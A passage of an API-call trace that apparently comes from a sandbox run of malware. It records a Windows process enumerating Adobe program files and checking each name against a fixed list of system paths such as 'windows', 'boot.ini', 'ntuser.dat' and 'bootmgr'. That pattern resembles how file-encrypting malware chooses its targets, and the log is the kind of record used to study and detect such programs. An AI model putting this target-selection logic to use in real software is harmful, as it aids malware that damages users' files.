lpWideCharStr="AdobeLinguistic.dll", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeLinguistic.dll", lpUsedDefaultChar=0x0) returned 19 [0170.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0170.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0170.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.218] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37398, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="adoberfp.dll", cAlternateFileName="")) returned 1 [0170.218] lstrcmpiW (lpString1="adoberfp.dll", lpString2=".") returned 1 [0170.218] lstrcmpiW (lpString1="adoberfp.dll", lpString2="..") returned 1 [0170.218] lstrcmpiW (lpString1="adoberfp.dll", lpString2="...") returned 1 [0170.219] lstrcmpiW (lpString1="adoberfp.dll", lpString2="windows") returned -1 [0170.219] lstrcmpiW (lpString1="adoberfp.dll", lpString2="$RECYCLE.BIN") returned 1 [0170.219] lstrcmpiW (lpString1="adoberfp.dll", lpString2="rsa") returned -1 [0170.219] lstrcmpiW (lpString1="adoberfp.dll", lpString2="NTDETECT.COM") returned -1 [0170.219] lstrcmpiW (lpString1="adoberfp.dll", lpString2="ntldr") returned -1 [0170.219] lstrcmpiW (lpString1="adoberfp.dll", lpString2="MSDOS.SYS") returned -1 [0170.219] lstrcmpiW (lpString1="adoberfp.dll", lpString2="IO.SYS") returned -1 [0170.219] lstrcmpiW (lpString1="adoberfp.dll", lpString2="boot.ini") returned -1 [0170.219] lstrcmpiW (lpString1="adoberfp.dll", lpString2="boot.ini") returned -1 [0170.219] lstrcmpiW (lpString1="adoberfp.dll", lpString2="AUTOEXEC.BAT") returned -1 [0170.219] lstrcmpiW (lpString1="adoberfp.dll", lpString2="ntuser.dat") returned -1 [0170.219] lstrcmpiW (lpString1="adoberfp.dll", lpString2="desktop.ini") returned -1 [0170.219] lstrcmpiW (lpString1="adoberfp.dll", lpString2="CONFIG.SYS") returned -1 [0170.219] lstrcmpiW (lpString1="adoberfp.dll", lpString2="RECYCLER") returned -1 [0170.219] lstrcmpiW (lpString1="adoberfp.dll", lpString2="BOOTSECT.BAK") returned -1 [0170.219] lstrcmpiW (lpString1="adoberfp.dll", lpString2="bootmgr") returned -1 [0170.219] lstrcmpiW (lpString1="adoberfp.dll", lpString2="programdata") returned -1 [0170.219] lstrcmpiW (lpString1="adoberfp.dll", lpString2="appdata") returned -1 [0170.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="adoberfp.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="adoberfp.dll", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adoberfp.dll", lpUsedDefaultChar=0x0) returned 12 [0170.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="adoberfp.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="adoberfp.dll", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adoberfp.dll", lpUsedDefaultChar=0x0) returned 12 [0170.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="adoberfp.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="adoberfp.dll", cchWideChar=12, lpMultiByteStr=0x653ef60, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adoberfp.dll", lpUsedDefaultChar=0x0) returned 12 [0170.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="adoberfp.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="adoberfp.dll", cchWideChar=12, lpMultiByteStr=0x653ef98, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adoberfp.dll", lpUsedDefaultChar=0x0) returned 12 [0170.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0170.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.219] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x803069c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a598, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="AdobeXMP.dll", cAlternateFileName="")) returned 1 [0170.220] lstrcmpiW (lpString1="AdobeXMP.dll", lpString2=".") returned 1 [0170.220] lstrcmpiW (lpString1="AdobeXMP.dll", lpString2="..") returned 1 [0170.220] lstrcmpiW (lpString1="AdobeXMP.dll", lpString2="...") returned 1 [0170.220] lstrcmpiW (lpString1="AdobeXMP.dll", lpString2="windows") returned -1 [0170.220] lstrcmpiW (lpString1="AdobeXMP.dll", lpString2="$RECYCLE.BIN") returned 1 [0170.220] lstrcmpiW (lpString1="AdobeXMP.dll", lpString2="rsa") returned -1 [0170.220] lstrcmpiW (lpString1="AdobeXMP.dll", lpString2="NTDETECT.COM") returned -1 [0170.220] lstrcmpiW (lpString1="AdobeXMP.dll", lpString2="ntldr") returned -1 [0170.220] lstrcmpiW (lpString1="AdobeXMP.dll", lpString2="MSDOS.SYS") returned -1 [0170.220] lstrcmpiW (lpString1="AdobeXMP.dll", lpString2="IO.SYS") returned -1 [0170.220] lstrcmpiW (lpString1="AdobeXMP.dll", lpString2="boot.ini") returned -1 [0170.220] lstrcmpiW (lpString1="AdobeXMP.dll", lpString2="boot.ini") returned -1 [0170.220] lstrcmpiW (lpString1="AdobeXMP.dll", lpString2="AUTOEXEC.BAT") returned -1 [0170.220] lstrcmpiW (lpString1="AdobeXMP.dll", lpString2="ntuser.dat") returned -1 [0170.220] lstrcmpiW (lpString1="AdobeXMP.dll", lpString2="desktop.ini") returned -1 [0170.220] lstrcmpiW (lpString1="AdobeXMP.dll", lpString2="CONFIG.SYS") returned -1 [0170.220] lstrcmpiW (lpString1="AdobeXMP.dll", lpString2="RECYCLER") returned -1 [0170.220] lstrcmpiW (lpString1="AdobeXMP.dll", lpString2="BOOTSECT.BAK") returned -1 [0170.220] lstrcmpiW (lpString1="AdobeXMP.dll", lpString2="bootmgr") returned -1 [0170.220] lstrcmpiW (lpString1="AdobeXMP.dll", lpString2="programdata") returned -1 [0170.220] lstrcmpiW (lpString1="AdobeXMP.dll", lpString2="appdata") returned -1 [0170.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeXMP.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeXMP.dll", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeXMP.dll", lpUsedDefaultChar=0x0) returned 12 [0170.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeXMP.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeXMP.dll", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeXMP.dll", lpUsedDefaultChar=0x0) returned 12 [0170.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeXMP.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeXMP.dll", cchWideChar=12, lpMultiByteStr=0x653ef60, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeXMP.dll", lpUsedDefaultChar=0x0) returned 12 [0170.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeXMP.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeXMP.dll", cchWideChar=12, lpMultiByteStr=0x653ef98, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeXMP.dll", lpUsedDefaultChar=0x0) returned 12 [0170.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0170.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0170.221] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80352c80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53f988, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="AGM.dll", cAlternateFileName="")) returned 1 [0170.221] lstrcmpiW (lpString1="AGM.dll", lpString2=".") returned 1 [0170.221] lstrcmpiW (lpString1="AGM.dll", lpString2="..") returned 1 [0170.221] lstrcmpiW (lpString1="AGM.dll", lpString2="...") returned 1 [0170.221] lstrcmpiW (lpString1="AGM.dll", lpString2="windows") returned -1 [0170.221] lstrcmpiW (lpString1="AGM.dll", lpString2="$RECYCLE.BIN") returned 1 [0170.221] lstrcmpiW (lpString1="AGM.dll", lpString2="rsa") returned -1 [0170.221] lstrcmpiW (lpString1="AGM.dll", lpString2="NTDETECT.COM") returned -1 [0170.221] lstrcmpiW (lpString1="AGM.dll", lpString2="ntldr") returned -1 [0170.221] lstrcmpiW (lpString1="AGM.dll", lpString2="MSDOS.SYS") returned -1 [0170.221] lstrcmpiW (lpString1="AGM.dll", lpString2="IO.SYS") returned -1 [0170.221] lstrcmpiW (lpString1="AGM.dll", lpString2="boot.ini") returned -1 [0170.221] lstrcmpiW (lpString1="AGM.dll", lpString2="boot.ini") returned -1 [0170.221] lstrcmpiW (lpString1="AGM.dll", lpString2="AUTOEXEC.BAT") returned -1 [0170.221] lstrcmpiW (lpString1="AGM.dll", lpString2="ntuser.dat") returned -1 [0170.221] lstrcmpiW (lpString1="AGM.dll", lpString2="desktop.ini") returned -1 [0170.221] lstrcmpiW (lpString1="AGM.dll", lpString2="CONFIG.SYS") returned -1 [0170.221] lstrcmpiW (lpString1="AGM.dll", lpString2="RECYCLER") returned -1 [0170.221] lstrcmpiW (lpString1="AGM.dll", lpString2="BOOTSECT.BAK") returned -1 [0170.221] lstrcmpiW (lpString1="AGM.dll", lpString2="bootmgr") returned -1 [0170.221] lstrcmpiW (lpString1="AGM.dll", lpString2="programdata") returned -1 [0170.221] lstrcmpiW (lpString1="AGM.dll", lpString2="appdata") returned -1 [0170.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AGM.dll", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0170.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AGM.dll", cchWideChar=7, lpMultiByteStr=0x653ef10, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AGM.dll", lpUsedDefaultChar=0x0) returned 7 [0170.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AGM.dll", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0170.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AGM.dll", cchWideChar=7, lpMultiByteStr=0x653ef10, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AGM.dll", lpUsedDefaultChar=0x0) returned 7 [0170.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AGM.dll", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0170.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AGM.dll", cchWideChar=7, lpMultiByteStr=0x653ef60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AGM.dll", lpUsedDefaultChar=0x0) returned 7 [0170.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AGM.dll", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0170.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AGM.dll", cchWideChar=7, lpMultiByteStr=0x653ef98, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AGM.dll", lpUsedDefaultChar=0x0) returned 7 [0170.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94178 [0170.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0170.222] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6bf, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="AGMGPUOptIn.ini", cAlternateFileName="AGMGPU~1.INI")) returned 1 [0170.222] lstrcmpiW (lpString1="AGMGPUOptIn.ini", lpString2=".") returned 1 [0170.222] lstrcmpiW (lpString1="AGMGPUOptIn.ini", lpString2="..") returned 1 [0170.222] lstrcmpiW (lpString1="AGMGPUOptIn.ini", lpString2="...") returned 1 [0170.222] lstrcmpiW (lpString1="AGMGPUOptIn.ini", lpString2="windows") returned -1 [0170.222] lstrcmpiW (lpString1="AGMGPUOptIn.ini", lpString2="$RECYCLE.BIN") returned 1 [0170.222] lstrcmpiW (lpString1="AGMGPUOptIn.ini", lpString2="rsa") returned -1 [0170.222] lstrcmpiW (lpString1="AGMGPUOptIn.ini", lpString2="NTDETECT.COM") returned -1 [0170.222] lstrcmpiW (lpString1="AGMGPUOptIn.ini", lpString2="ntldr") returned -1 [0170.222] lstrcmpiW (lpString1="AGMGPUOptIn.ini", lpString2="MSDOS.SYS") returned -1 [0170.222] lstrcmpiW (lpString1="AGMGPUOptIn.ini", lpString2="IO.SYS") returned -1 [0170.222] lstrcmpiW (lpString1="AGMGPUOptIn.ini", lpString2="boot.ini") returned -1 [0170.222] lstrcmpiW (lpString1="AGMGPUOptIn.ini", lpString2="boot.ini") returned -1 [0170.222] lstrcmpiW (lpString1="AGMGPUOptIn.ini", lpString2="AUTOEXEC.BAT") returned -1 [0170.222] lstrcmpiW (lpString1="AGMGPUOptIn.ini", lpString2="ntuser.dat") returned -1 [0170.222] lstrcmpiW (lpString1="AGMGPUOptIn.ini", lpString2="desktop.ini") returned -1 [0170.222] lstrcmpiW (lpString1="AGMGPUOptIn.ini", lpString2="CONFIG.SYS") returned -1 [0170.222] lstrcmpiW (lpString1="AGMGPUOptIn.ini", lpString2="RECYCLER") returned -1 [0170.222] lstrcmpiW (lpString1="AGMGPUOptIn.ini", lpString2="BOOTSECT.BAK") returned -1 [0170.222] lstrcmpiW (lpString1="AGMGPUOptIn.ini", lpString2="bootmgr") returned -1 [0170.222] lstrcmpiW (lpString1="AGMGPUOptIn.ini", lpString2="programdata") returned -1 [0170.222] lstrcmpiW (lpString1="AGMGPUOptIn.ini", lpString2="appdata") returned -1 [0170.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AGMGPUOptIn.ini", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0170.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AGMGPUOptIn.ini", cchWideChar=15, lpMultiByteStr=0x653ef10, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AGMGPUOptIn.ini", lpUsedDefaultChar=0x0) returned 15 [0170.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AGMGPUOptIn.ini", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0170.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AGMGPUOptIn.ini", cchWideChar=15, lpMultiByteStr=0x653ef10, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AGMGPUOptIn.ini", lpUsedDefaultChar=0x0) returned 15 [0170.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AGMGPUOptIn.ini", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0170.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AGMGPUOptIn.ini", cchWideChar=15, lpMultiByteStr=0x653ef60, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AGMGPUOptIn.ini", lpUsedDefaultChar=0x0) returned 15 [0170.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AGMGPUOptIn.ini", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0170.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AGMGPUOptIn.ini", cchWideChar=15, lpMultiByteStr=0x653ef98, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AGMGPUOptIn.ini", lpUsedDefaultChar=0x0) returned 15 [0170.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941f0 [0170.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0170.223] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x366c8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="ahclient.dll", cAlternateFileName="")) returned 1 [0170.223] lstrcmpiW (lpString1="ahclient.dll", lpString2=".") returned 1 [0170.223] lstrcmpiW (lpString1="ahclient.dll", lpString2="..") returned 1 [0170.223] lstrcmpiW (lpString1="ahclient.dll", lpString2="...") returned 1 [0170.223] lstrcmpiW (lpString1="ahclient.dll", lpString2="windows") returned -1 [0170.223] lstrcmpiW (lpString1="ahclient.dll", lpString2="$RECYCLE.BIN") returned 1 [0170.223] lstrcmpiW (lpString1="ahclient.dll", lpString2="rsa") returned -1 [0170.223] lstrcmpiW (lpString1="ahclient.dll", lpString2="NTDETECT.COM") returned -1 [0170.223] lstrcmpiW (lpString1="ahclient.dll", lpString2="ntldr") returned -1 [0170.223] lstrcmpiW (lpString1="ahclient.dll", lpString2="MSDOS.SYS") returned -1 [0170.223] lstrcmpiW (lpString1="ahclient.dll", lpString2="IO.SYS") returned -1 [0170.223] lstrcmpiW (lpString1="ahclient.dll", lpString2="boot.ini") returned -1 [0170.223] lstrcmpiW (lpString1="ahclient.dll", lpString2="boot.ini") returned -1 [0170.223] lstrcmpiW (lpString1="ahclient.dll", lpString2="AUTOEXEC.BAT") returned -1 [0170.223] lstrcmpiW (lpString1="ahclient.dll", lpString2="ntuser.dat") returned -1 [0170.223] lstrcmpiW (lpString1="ahclient.dll", lpString2="desktop.ini") returned -1 [0170.223] lstrcmpiW (lpString1="ahclient.dll", lpString2="CONFIG.SYS") returned -1 [0170.223] lstrcmpiW (lpString1="ahclient.dll", lpString2="RECYCLER") returned -1 [0170.223] lstrcmpiW (lpString1="ahclient.dll", lpString2="BOOTSECT.BAK") returned -1 [0170.223] lstrcmpiW (lpString1="ahclient.dll", lpString2="bootmgr") returned -1 [0170.223] lstrcmpiW (lpString1="ahclient.dll", lpString2="programdata") returned -1 [0170.223] lstrcmpiW (lpString1="ahclient.dll", lpString2="appdata") returned -1 [0170.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ahclient.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ahclient.dll", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ahclient.dll", lpUsedDefaultChar=0x0) returned 12 [0170.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ahclient.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ahclient.dll", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ahclient.dll", lpUsedDefaultChar=0x0) returned 12 